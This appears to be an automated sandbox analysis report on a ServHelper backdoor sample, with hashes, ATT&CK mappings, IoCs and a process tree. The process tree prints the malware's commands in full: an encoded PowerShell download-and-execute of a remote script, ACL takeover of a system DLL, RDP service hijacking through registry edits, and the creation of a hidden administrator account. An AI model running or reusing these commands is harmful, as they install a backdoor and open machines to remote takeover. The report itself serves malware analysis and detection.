servhelper | 80271a13696df77f092c3b6abce154f98e83f5840c64b610af7ae83cfe711482

Analysis

max time kernel
135s
max time network
114s
platform
windows7_x64
resource
win7v20210408
submitted
26-05-2021 18:05

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

b1c13501a44f3017537f296fc3cd4919.exe
Size

6.0MB
MD5

b1c13501a44f3017537f296fc3cd4919
SHA1

10b0f90e3d298a6b1ca3dc8afec91683203a7161
SHA256

80271a13696df77f092c3b6abce154f98e83f5840c64b610af7ae83cfe711482
SHA512

abbce9675cd8921705e463c5eb702a6832736ba5a95705da79658ff4be2d39dfc1223a727d2bac23a67fbaae85a7e658e97e7332370caf17a6af700b4090c3ec

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1128	icacls.exe
1460	takeown.exe
1332	icacls.exe
1768	icacls.exe
336	icacls.exe
1012	icacls.exe
1696	icacls.exe
1692	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00040000000130d2-171.dat	upx
behavioral1/files/0x00050000000130d3-172.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
2016	Process not Found
2016	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1460	takeown.exe
1332	icacls.exe
1768	icacls.exe
336	icacls.exe
1012	icacls.exe
1696	icacls.exe
1692	icacls.exe
1128	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_30600d2e-eecc-40e4-91cf-3cac88fba268	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ff4181b2-2825-4da1-aa78-6aee9b67101c	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_d90bb8dd-5c04-4844-9ebb-2518cffa5fcb	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_64bb36b0-fea2-4a11-8804-5808b06ffcad	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1cad86a9-95fa-4015-bac1-1cd19473d95f	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_5c464126-67d1-43da-a27f-65c0e22c5f25	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3649ea52-384f-4559-b438-e003f20e3068	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e2bfd8dc-db48-422e-9b80-b8884dc82441	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c7d57a81-c33b-492e-8680-0c6fc0c84b35	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7fb1af8b-5ca9-4494-9f55-950f50fe3d4d	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MEWZNGK0OK6O871V92BP.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_eaadba3f-bedf-48d0-b119-d1c398e63b1c	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = f091a92b6a52d701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2004	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1764	powershell.exe
1764	powershell.exe
820	powershell.exe
820	powershell.exe
1112	powershell.exe
1112	powershell.exe
924	powershell.exe
924	powershell.exe
1764	powershell.exe
1764	powershell.exe
1764	powershell.exe
848	powershell.exe
848	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
460	Process not Found
2016	Process not Found
2016	Process not Found
2016	Process not Found
2016	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	1764	powershell.exe
Token: SeDebugPrivilege	820	powershell.exe
Token: SeDebugPrivilege	1112	powershell.exe
Token: SeDebugPrivilege	924	powershell.exe
Token: SeRestorePrivilege	1768	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	340	WMIC.exe
Token: SeIncreaseQuotaPrivilege	340	WMIC.exe
Token: SeAuditPrivilege	340	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	340	WMIC.exe
Token: SeIncreaseQuotaPrivilege	340	WMIC.exe
Token: SeAuditPrivilege	340	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1512	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1512	WMIC.exe
Token: SeAuditPrivilege	1512	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1512	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1512	WMIC.exe
Token: SeAuditPrivilege	1512	WMIC.exe
Token: SeDebugPrivilege	848	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1624 wrote to memory of 1764	1624	b1c13501a44f3017537f296fc3cd4919.exe	27
PID 1624 wrote to memory of 1764	1624	b1c13501a44f3017537f296fc3cd4919.exe	27
PID 1624 wrote to memory of 1764	1624	b1c13501a44f3017537f296fc3cd4919.exe	27
PID 1764 wrote to memory of 820	1764	powershell.exe	31
PID 1764 wrote to memory of 820	1764	powershell.exe	31
PID 1764 wrote to memory of 820	1764	powershell.exe	31
PID 1764 wrote to memory of 1112	1764	powershell.exe	33
PID 1764 wrote to memory of 1112	1764	powershell.exe	33
PID 1764 wrote to memory of 1112	1764	powershell.exe	33
PID 1764 wrote to memory of 924	1764	powershell.exe	35
PID 1764 wrote to memory of 924	1764	powershell.exe	35
PID 1764 wrote to memory of 924	1764	powershell.exe	35
PID 1764 wrote to memory of 1460	1764	powershell.exe	38
PID 1764 wrote to memory of 1460	1764	powershell.exe	38
PID 1764 wrote to memory of 1460	1764	powershell.exe	38
PID 1764 wrote to memory of 1332	1764	powershell.exe	39
PID 1764 wrote to memory of 1332	1764	powershell.exe	39
PID 1764 wrote to memory of 1332	1764	powershell.exe	39
PID 1764 wrote to memory of 1768	1764	powershell.exe	40
PID 1764 wrote to memory of 1768	1764	powershell.exe	40
PID 1764 wrote to memory of 1768	1764	powershell.exe	40
PID 1764 wrote to memory of 336	1764	powershell.exe	41
PID 1764 wrote to memory of 336	1764	powershell.exe	41
PID 1764 wrote to memory of 336	1764	powershell.exe	41
PID 1764 wrote to memory of 1012	1764	powershell.exe	42
PID 1764 wrote to memory of 1012	1764	powershell.exe	42
PID 1764 wrote to memory of 1012	1764	powershell.exe	42
PID 1764 wrote to memory of 1696	1764	powershell.exe	43
PID 1764 wrote to memory of 1696	1764	powershell.exe	43
PID 1764 wrote to memory of 1696	1764	powershell.exe	43
PID 1764 wrote to memory of 1692	1764	powershell.exe	44
PID 1764 wrote to memory of 1692	1764	powershell.exe	44
PID 1764 wrote to memory of 1692	1764	powershell.exe	44
PID 1764 wrote to memory of 1128	1764	powershell.exe	45
PID 1764 wrote to memory of 1128	1764	powershell.exe	45
PID 1764 wrote to memory of 1128	1764	powershell.exe	45
PID 1764 wrote to memory of 588	1764	powershell.exe	46
PID 1764 wrote to memory of 588	1764	powershell.exe	46
PID 1764 wrote to memory of 588	1764	powershell.exe	46
PID 1764 wrote to memory of 2004	1764	powershell.exe	47
PID 1764 wrote to memory of 2004	1764	powershell.exe	47
PID 1764 wrote to memory of 2004	1764	powershell.exe	47
PID 1764 wrote to memory of 2036	1764	powershell.exe	48
PID 1764 wrote to memory of 2036	1764	powershell.exe	48
PID 1764 wrote to memory of 2036	1764	powershell.exe	48
PID 1764 wrote to memory of 1112	1764	powershell.exe	49
PID 1764 wrote to memory of 1112	1764	powershell.exe	49
PID 1764 wrote to memory of 1112	1764	powershell.exe	49
PID 1112 wrote to memory of 1664	1112	net.exe	50
PID 1112 wrote to memory of 1664	1112	net.exe	50
PID 1112 wrote to memory of 1664	1112	net.exe	50
PID 1764 wrote to memory of 1816	1764	powershell.exe	51
PID 1764 wrote to memory of 1816	1764	powershell.exe	51
PID 1764 wrote to memory of 1816	1764	powershell.exe	51
PID 1816 wrote to memory of 1324	1816	cmd.exe	52
PID 1816 wrote to memory of 1324	1816	cmd.exe	52
PID 1816 wrote to memory of 1324	1816	cmd.exe	52
PID 1324 wrote to memory of 976	1324	cmd.exe	53
PID 1324 wrote to memory of 976	1324	cmd.exe	53
PID 1324 wrote to memory of 976	1324	cmd.exe	53
PID 976 wrote to memory of 880	976	net.exe	54
PID 976 wrote to memory of 880	976	net.exe	54
PID 976 wrote to memory of 880	976	net.exe	54
PID 1764 wrote to memory of 2020	1764	powershell.exe	55

C:\Users\Admin\AppData\Local\Temp\b1c13501a44f3017537f296fc3cd4919.exe
"C:\Users\Admin\AppData\Local\Temp\b1c13501a44f3017537f296fc3cd4919.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1764
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:820
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1112
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:924
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1460
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1332
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1768
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:336
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1012
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1696
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1692
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1128
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:588
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:2004
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:2036
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1112
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1664
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1816
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1324
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:976
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:880
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:2020
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:1932
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:900
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:2040
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:1388
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:1692

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
PID:572
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  PID:1768
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:1160

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc NRdZ5mk3 /add
1⤵
PID:548
- C:\Windows\system32\net.exe
  net.exe user wgautilacc NRdZ5mk3 /add
  2⤵
  PID:1696
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc NRdZ5mk3 /add
    3⤵
    PID:848

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:340
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  PID:2036
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:792

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
1⤵
PID:1428
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
  2⤵
  PID:1324
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
    3⤵
    PID:1432

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:268
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:760
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:968

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc NRdZ5mk3
1⤵
PID:1080
- C:\Windows\system32\net.exe
  net.exe user wgautilacc NRdZ5mk3
  2⤵
  PID:1696
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc NRdZ5mk3
    3⤵
    PID:548

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1892
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:340

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1152
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1512

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1876
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1456
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:848

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/820-90-0x000000001B880000-0x000000001B881000-memory.dmp

Filesize
4KB

Download
memory/820-86-0x000000001ACF0000-0x000000001ACF2000-memory.dmp

Filesize
8KB

Download
memory/820-93-0x0000000002510000-0x0000000002511000-memory.dmp

Filesize
4KB

Download
memory/820-111-0x000000001AC60000-0x000000001AC61000-memory.dmp

Filesize
4KB

Download
memory/820-112-0x000000001B7B0000-0x000000001B7B1000-memory.dmp

Filesize
4KB

Download
memory/820-98-0x000000001B6F0000-0x000000001B6F1000-memory.dmp

Filesize
4KB

Download
memory/820-92-0x000000001AC70000-0x000000001AC71000-memory.dmp

Filesize
4KB

Download
memory/820-87-0x000000001ACF4000-0x000000001ACF6000-memory.dmp

Filesize
8KB

Download
memory/820-88-0x00000000025F0000-0x00000000025F1000-memory.dmp

Filesize
4KB

Download
memory/848-198-0x0000000000F54000-0x0000000000F56000-memory.dmp

Filesize
8KB

Download
memory/848-197-0x0000000000F50000-0x0000000000F52000-memory.dmp

Filesize
8KB

Download
memory/848-201-0x0000000000F5A000-0x0000000000F79000-memory.dmp

Filesize
124KB

Download
memory/924-141-0x000000001AD34000-0x000000001AD36000-memory.dmp

Filesize
8KB

Download
memory/924-140-0x000000001AD30000-0x000000001AD32000-memory.dmp

Filesize
8KB

Download
memory/1112-126-0x0000000002330000-0x0000000002331000-memory.dmp

Filesize
4KB

Download
memory/1112-121-0x0000000002510000-0x0000000002511000-memory.dmp

Filesize
4KB

Download
memory/1112-119-0x0000000002744000-0x0000000002746000-memory.dmp

Filesize
8KB

Download
memory/1112-123-0x000000001B810000-0x000000001B811000-memory.dmp

Filesize
4KB

Download
memory/1112-118-0x0000000002740000-0x0000000002742000-memory.dmp

Filesize
8KB

Download
memory/1112-125-0x000000001B0C0000-0x000000001B0C1000-memory.dmp

Filesize
4KB

Download
memory/1624-62-0x0000000028574000-0x0000000028576000-memory.dmp

Filesize
8KB

Download
memory/1624-61-0x0000000028572000-0x0000000028574000-memory.dmp

Filesize
8KB

Download
memory/1624-64-0x0000000028577000-0x0000000028578000-memory.dmp

Filesize
4KB

Download
memory/1624-63-0x0000000028576000-0x0000000028577000-memory.dmp

Filesize
4KB

Download
memory/1624-59-0x0000000041490000-0x00000000418B1000-memory.dmp

Filesize
4.1MB

Download
memory/1764-79-0x00000000025E0000-0x00000000025E1000-memory.dmp

Filesize
4KB

Download
memory/1764-72-0x0000000002380000-0x0000000002381000-memory.dmp

Filesize
4KB

Download
memory/1764-69-0x000000001AC20000-0x000000001AC22000-memory.dmp

Filesize
8KB

Download
memory/1764-68-0x000000001ACA0000-0x000000001ACA1000-memory.dmp

Filesize
4KB

Download
memory/1764-67-0x0000000002420000-0x0000000002421000-memory.dmp

Filesize
4KB

Download
memory/1764-78-0x000000001AC2A000-0x000000001AC49000-memory.dmp

Filesize
124KB

Download
memory/1764-70-0x000000001AC24000-0x000000001AC26000-memory.dmp

Filesize
8KB

Download
memory/1764-66-0x000007FEFC031000-0x000007FEFC033000-memory.dmp

Filesize
8KB

Download
memory/1764-71-0x0000000002500000-0x0000000002501000-memory.dmp

Filesize
4KB

Download
memory/1764-77-0x000000001B8A0000-0x000000001B8A1000-memory.dmp

Filesize
4KB

Download
memory/1764-148-0x000000001C810000-0x000000001C811000-memory.dmp

Filesize
4KB

Download
memory/1764-76-0x000000001AAB0000-0x000000001AAB1000-memory.dmp

Filesize
4KB

Download
memory/1764-74-0x000000001B7D0000-0x000000001B7D1000-memory.dmp

Filesize
4KB

Download